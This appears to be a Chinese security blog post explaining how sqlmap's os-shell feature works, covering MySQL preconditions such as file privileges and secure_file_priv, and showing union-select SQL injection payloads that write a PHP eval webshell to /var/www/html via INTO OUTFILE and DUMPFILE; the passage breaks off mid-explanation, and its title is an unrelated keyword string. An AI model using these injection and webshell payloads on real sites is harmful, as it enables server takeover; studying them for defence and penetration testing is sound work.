php 原理 淘口令 解密_Sqlmap之osshell原理分析

点击蓝字

8034d1d240748b9f2101afdffe130643.gif

关注我们

声明

本文作者:Gality

本文字数:5000

阅读时长:30min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

前言

最近跟一些同伴分享面试经验时发现,在面那些出名的安全厂商时,面试官很喜欢问os-shell相关的原理,网上的分析杂七杂八,大多是相互抄袭,作者并没有真正去实践这些技术,也缺少对sqlmap源码和其底层原理的分析,希望能通过我的分析,让大家对sql注入写shell相关的原理有透彻的了解

一、

写入Shell的前提

在以下条件满足的情况下,我们可以直接利用sql注入的漏洞来获得一个shell,便于我们后续的攻击:

root权限,需要写文件的权限

select group_concat(user,0x3a,file_priv) from mysql.user;出现Y,这就代表你有文件权限,N就是没有

ae2e54952ce49bec09a6e03c49c4f6ca.png

  • 知道网站的绝对路径

  • 文件不能覆盖写入,所以文件必须为不存在

  • PHP的GPC关闭,能使用单双引号(需要单引号路径,不能使用0x编码)

  • –secure-file-priv没有值

show global variables like '%secure_file_priv%';

查看secure-file-priv

f8156548a36e8f78ff3ff4649659c99f.png

对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为

  1. 不知道路径,你的菜刀无法连接

  2. 通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写

902d262159d3e8023437cc96e82dfd58.png

但如果扩展思路,如果配合任意文件包含的话,我们就可以尝试使用默认的mysql安装路径去包含这个文件执行

–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

  • secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

  • secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。

  • secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

因为 secure_file_priv 参数是只读参数,不能使用set global命令修改,需要在my.cnf 或 my.ini,加入secure_file_priv=''后重启mysql

magic_quotes_gpc:

为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。当 magic_quotes 为 on,所有的 ' (单引号)、" (双引号)、\(反斜杠)和 NUL's 被一个反斜杠自动转义

该特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除

二、

常规写shell方法

联合查询写shell

当可以使用联合查询时,通过构造类似:

1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#

或者

1' union select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#

来将shell写入到test.php中,关于outfile和dumpfile的区别,稍微说一下,官方给的解释是:

  • outfile函数可以导出多行,而dumpfile只能导出一行数据

  • outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

fe0b983a9d2865e32138c6a83fa1163f.png

从上图中我们可以清晰的看到,

在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\\n,也就是会多加一个\

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值